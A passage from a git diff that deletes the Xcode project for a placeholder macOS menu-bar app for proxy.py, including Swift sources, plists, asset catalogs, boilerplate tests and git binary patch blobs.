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 diff --git a/menubar/proxy.py.xcodeproj/xcuserdata/abhinav.xcuserdatad/xcschemes/xcschememanagement.plist b/menubar/proxy.py.xcodeproj/xcuserdata/abhinav.xcuserdatad/xcschemes/xcschememanagement.plist deleted file mode 100644 index f806210ad3..0000000000 --- a/menubar/proxy.py.xcodeproj/xcuserdata/abhinav.xcuserdatad/xcschemes/xcschememanagement.plist +++ /dev/null @@ -1,14 +0,0 @@ - - - - - SchemeUserState - - proxy.py.xcscheme_^#shared#^_ - - orderHint - 0 - - - - diff --git a/menubar/proxy.py.xcodeproj/xcuserdata/abhinavsingh.xcuserdatad/xcschemes/xcschememanagement.plist b/menubar/proxy.py.xcodeproj/xcuserdata/abhinavsingh.xcuserdatad/xcschemes/xcschememanagement.plist deleted file mode 100644 index f806210ad3..0000000000 --- a/menubar/proxy.py.xcodeproj/xcuserdata/abhinavsingh.xcuserdatad/xcschemes/xcschememanagement.plist +++ /dev/null @@ -1,14 +0,0 @@ - - - - - SchemeUserState - - proxy.py.xcscheme_^#shared#^_ - - orderHint - 0 - - - - diff --git a/menubar/proxy.py/AppDelegate.swift b/menubar/proxy.py/AppDelegate.swift deleted file mode 100644 index 3a1506ffe0..0000000000 --- a/menubar/proxy.py/AppDelegate.swift +++ /dev/null @@ -1,105 +0,0 @@ -// -// AppDelegate.swift -// proxy.py -// -// Created by Abhinav Singh on 11/22/19. -// Copyright © 2013-present by Abhinav Singh and contributors. -// All rights reserved. -// - -import Cocoa -import SwiftUI - -@NSApplicationMain -class AppDelegate: NSObject, NSApplicationDelegate { - - var window: NSWindow! - var statusItem: NSStatusItem! - var preferences: NSPopover! - - func applicationDidFinishLaunching(_ aNotification: Notification) { - // Create the SwiftUI view that provides the window contents. - let contentView = ContentView() - - self.statusItem = NSStatusBar.system.statusItem(withLength:NSStatusItem.variableLength) - - self.preferences = NSPopover() - preferences.contentSize = NSSize(width: 400, height: 500) - preferences.behavior = .transient - preferences.contentViewController = NSHostingController(rootView: contentView) - - if let button = statusItem.button { - button.image = NSImage(named:NSImage.Name("StatusBarButtonImage")) - // button.action = #selector(closePreferences) - } - constructMenu() - } - - func applicationWillTerminate(_ aNotification: Notification) { - // Insert code here to tear down your application - print("Tearing down") - } - - func constructMenu() { - let menu = NSMenu() - menu.addItem(NSMenuItem(title: "proxy.py is running", action: #selector(AppDelegate.status(_:)), keyEquivalent: "S")) - menu.addItem(NSMenuItem.separator()) - menu.addItem(NSMenuItem(title: "About proxy.py", action: #selector(AppDelegate.about(_:)), keyEquivalent: "A")) - menu.addItem(NSMenuItem.separator()) - menu.addItem(NSMenuItem(title: "Preferences", action: #selector(AppDelegate.preferences(_:)), keyEquivalent: ",")) - menu.addItem(NSMenuItem(title: "Dashboard", action: #selector(AppDelegate.dashboard(_:)), keyEquivalent: "D")) - menu.addItem(NSMenuItem.separator()) - menu.addItem(NSMenuItem(title: "Report a bug", action: #selector(AppDelegate.reportbug(_:)), keyEquivalent: "B")) - menu.addItem(NSMenuItem(title: "Learn", action: #selector(AppDelegate.learn(_:)), keyEquivalent: "L")) - menu.addItem(NSMenuItem.separator()) - menu.addItem(NSMenuItem(title: "Restart", action: #selector(AppDelegate.restart(_:)), keyEquivalent: "R")) - menu.addItem(NSMenuItem(title: "Quit", action: #selector(NSApplication.terminate(_:)), keyEquivalent: "Q")) - statusItem.menu = menu - } - - @objc func status(_ sender: Any?) { - print("Status clicked") - } - - @objc func about(_ sender: Any?) { - print("About clicked") - } - - @objc func closePreferences(_ sender: Any?) { - if self.statusItem.button != nil { - if self.preferences.isShown { - self.preferences.performClose(sender) - } - } - } - - @objc func preferences(_ sender: Any?) { - print("Preferences clicked") - if let button = self.statusItem.button { - self.preferences.show(relativeTo: button.bounds, of: button, preferredEdge: NSRectEdge.minY) - self.preferences.contentViewController?.view.window?.becomeKey() - } - } - - @objc func dashboard(_ sender: Any?) { - print("Dashboard clicked") - } - - @objc func reportbug(_ sender: Any?) { - print("Report bug clicked") - } - - @objc func learn(_ sender: Any?) { - print("Learn clicked") - } - - @objc func restart(_ sender: Any?) { - print("Restart clicked") - } -} - -struct AppDelegate_Previews: PreviewProvider { - static var previews: some View { - /*@START_MENU_TOKEN@*/Text("Hello, World!")/*@END_MENU_TOKEN@*/ - } -} diff --git a/menubar/proxy.py/Assets.xcassets/AppIcon.appiconset/Contents.json b/menubar/proxy.py/Assets.xcassets/AppIcon.appiconset/Contents.json deleted file mode 100644 index 2db2b1c7c6..0000000000 --- a/menubar/proxy.py/Assets.xcassets/AppIcon.appiconset/Contents.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "images" : [ - { - "idiom" : "mac", - "size" : "16x16", - "scale" : "1x" - }, - { - "idiom" : "mac", - "size" : "16x16", - "scale" : "2x" - }, - { - "idiom" : "mac", - "size" : "32x32", - "scale" : "1x" - }, - { - "idiom" : "mac", - "size" : "32x32", - "scale" : "2x" - }, - { - "idiom" : "mac", - "size" : "128x128", - "scale" : "1x" - }, - { - "idiom" : "mac", - "size" : "128x128", - "scale" : "2x" - }, - { - "idiom" : "mac", - "size" : "256x256", - "scale" : "1x" - }, - { - "idiom" : "mac", - "size" : "256x256", - "scale" : "2x" - }, - { - "idiom" : "mac", - "size" : "512x512", - "scale" : "1x" - }, - { - "idiom" : "mac", - "size" : "512x512", - "scale" : "2x" - } - ], - "info" : { - "version" : 1, - "author" : "xcode" - } -} \ No newline at end of file diff --git a/menubar/proxy.py/Assets.xcassets/Contents.json b/menubar/proxy.py/Assets.xcassets/Contents.json deleted file mode 100644 index da4a164c91..0000000000 --- a/menubar/proxy.py/Assets.xcassets/Contents.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "info" : { - "version" : 1, - "author" : "xcode" - } -} \ No newline at end of file diff --git a/menubar/proxy.py/Assets.xcassets/StatusBarButtonImage.imageset/Contents.json b/menubar/proxy.py/Assets.xcassets/StatusBarButtonImage.imageset/Contents.json deleted file mode 100644 index 69b780babb..0000000000 --- a/menubar/proxy.py/Assets.xcassets/StatusBarButtonImage.imageset/Contents.json +++ /dev/null @@ -1,24 +0,0 @@ -{ - "images" : [ - { - "idiom" : "universal", - "scale" : "1x" - }, - { - "idiom" : "universal", - "filename" : "StatusBarButtonImage@2x.png", - "scale" : "2x" - }, - { - "idiom" : "universal", - "scale" : "3x" - } - ], - "info" : { - "version" : 1, - "author" : "xcode" - }, - "properties" : { - "template-rendering-intent" : "template" - } -} \ No newline at end of file diff --git a/menubar/proxy.py/Assets.xcassets/StatusBarButtonImage.imageset/StatusBarButtonImage@2x.png b/menubar/proxy.py/Assets.xcassets/StatusBarButtonImage.imageset/StatusBarButtonImage@2x.png deleted file mode 100644 index 91d14db61667a0709d5af2e5f10cccce4d0994e2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 446 zcmV;v0YUzWP)i^6L~nNSgXQY;0lx0U)gm z6|nIo2ieb%E;PV-hyeJ1&-+mMlBUROWjpOdQL9>MA8CSoUQ5O~e75Z<6~~|1u|THU z`yNQUutTQk>c9|k+Sj5H!#X{qZGkPK9Kx=M@*3)h{vj#?$TgmQ$)gXWyrY=UIDQ;T zZZjkW?uMiw(2$sxEXUuH<#<@K3^_Pso6;{FO{uFbFAV{s+H%*}+mDHBB*;|T5%6nv o7${ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/menubar/proxy.py/ContentView.swift b/menubar/proxy.py/ContentView.swift deleted file mode 100644 index 8cf29f4410..0000000000 --- a/menubar/proxy.py/ContentView.swift +++ /dev/null @@ -1,24 +0,0 @@ -// -// ContentView.swift -// proxy.py -// -// Created by Abhinav Singh on 11/22/19. -// Copyright © 2013-present by Abhinav Singh and contributors. -// All rights reserved. -// - -import SwiftUI - -struct ContentView: View { - var body: some View { - Text("Hello, World!") - .frame(maxWidth: .infinity, maxHeight: .infinity) - } -} - - -struct ContentView_Previews: PreviewProvider { - static var previews: some View { - ContentView() - } -} diff --git a/menubar/proxy.py/Info.plist b/menubar/proxy.py/Info.plist deleted file mode 100644 index 9e185bfbe8..0000000000 --- a/menubar/proxy.py/Info.plist +++ /dev/null @@ -1,40 +0,0 @@ - - - - - CFBundleDevelopmentRegion - $(DEVELOPMENT_LANGUAGE) - CFBundleExecutable - $(EXECUTABLE_NAME) - CFBundleIconFile - - CFBundleIdentifier - $(PRODUCT_BUNDLE_IDENTIFIER) - CFBundleInfoDictionaryVersion - 6.0 - CFBundleName - $(PRODUCT_NAME) - CFBundlePackageType - $(PRODUCT_BUNDLE_PACKAGE_TYPE) - CFBundleShortVersionString - 1.0 - CFBundleVersion - 1 - LSApplicationCategoryType - public.app-category.utilities - LSMinimumSystemVersion - $(MACOSX_DEPLOYMENT_TARGET) - LSUIElement - - NSHumanReadableCopyright - Copyright © 2013-present by Abhinav Singh and contributors. All rights reserved. - NSMainStoryboardFile - Main - NSPrincipalClass - NSApplication - NSSupportsAutomaticTermination - - NSSupportsSuddenTermination - - - diff --git a/menubar/proxy.py/Preview Content/Preview Assets.xcassets/Contents.json b/menubar/proxy.py/Preview Content/Preview Assets.xcassets/Contents.json deleted file mode 100644 index da4a164c91..0000000000 --- a/menubar/proxy.py/Preview Content/Preview Assets.xcassets/Contents.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "info" : { - "version" : 1, - "author" : "xcode" - } -} \ No newline at end of file diff --git a/menubar/proxy.py/proxy_py.entitlements b/menubar/proxy.py/proxy_py.entitlements deleted file mode 100644 index f2ef3ae026..0000000000 --- a/menubar/proxy.py/proxy_py.entitlements +++ /dev/null @@ -1,10 +0,0 @@ - - - - - com.apple.security.app-sandbox - - com.apple.security.files.user-selected.read-only - - - diff --git a/menubar/proxy.pyTests/Info.plist b/menubar/proxy.pyTests/Info.plist deleted file mode 100644 index 64d65ca495..0000000000 --- a/menubar/proxy.pyTests/Info.plist +++ /dev/null @@ -1,22 +0,0 @@ - - - - - CFBundleDevelopmentRegion - $(DEVELOPMENT_LANGUAGE) - CFBundleExecutable - $(EXECUTABLE_NAME) - CFBundleIdentifier - $(PRODUCT_BUNDLE_IDENTIFIER) - CFBundleInfoDictionaryVersion - 6.0 - CFBundleName - $(PRODUCT_NAME) - CFBundlePackageType - $(PRODUCT_BUNDLE_PACKAGE_TYPE) - CFBundleShortVersionString - 1.0 - CFBundleVersion - 1 - - diff --git a/menubar/proxy.pyTests/proxy_pyTests.swift b/menubar/proxy.pyTests/proxy_pyTests.swift deleted file mode 100644 index 6e36b94bd0..0000000000 --- a/menubar/proxy.pyTests/proxy_pyTests.swift +++ /dev/null @@ -1,34 +0,0 @@ -// -// proxy_pyTests.swift -// proxy.pyTests -// -// Created by Abhinav Singh on 11/22/19. -// Copyright © 2019 Abhinav Singh. All rights reserved. -// - -import XCTest -@testable import proxy_py - -class proxy_pyTests: XCTestCase { - - override func setUp() { - // Put setup code here. This method is called before the invocation of each test method in the class. - } - - override func tearDown() { - // Put teardown code here. This method is called after the invocation of each test method in the class. - } - - func testExample() { - // This is an example of a functional test case. - // Use XCTAssert and related functions to verify your tests produce the correct results. - } - - func testPerformanceExample() { - // This is an example of a performance test case. - self.measure { - // Put the code you want to measure the time of here. - } - } - -} diff --git a/menubar/proxy.pyUITests/Info.plist b/menubar/proxy.pyUITests/Info.plist deleted file mode 100644 index 64d65ca495..0000000000 --- a/menubar/proxy.pyUITests/Info.plist +++ /dev/null @@ -1,22 +0,0 @@ - - - - - CFBundleDevelopmentRegion - $(DEVELOPMENT_LANGUAGE) - CFBundleExecutable - $(EXECUTABLE_NAME) - CFBundleIdentifier - $(PRODUCT_BUNDLE_IDENTIFIER) - CFBundleInfoDictionaryVersion - 6.0 - CFBundleName - $(PRODUCT_NAME) - CFBundlePackageType - $(PRODUCT_BUNDLE_PACKAGE_TYPE) - CFBundleShortVersionString - 1.0 - CFBundleVersion - 1 - - diff --git a/menubar/proxy.pyUITests/proxy_pyUITests.swift b/menubar/proxy.pyUITests/proxy_pyUITests.swift deleted file mode 100644 index 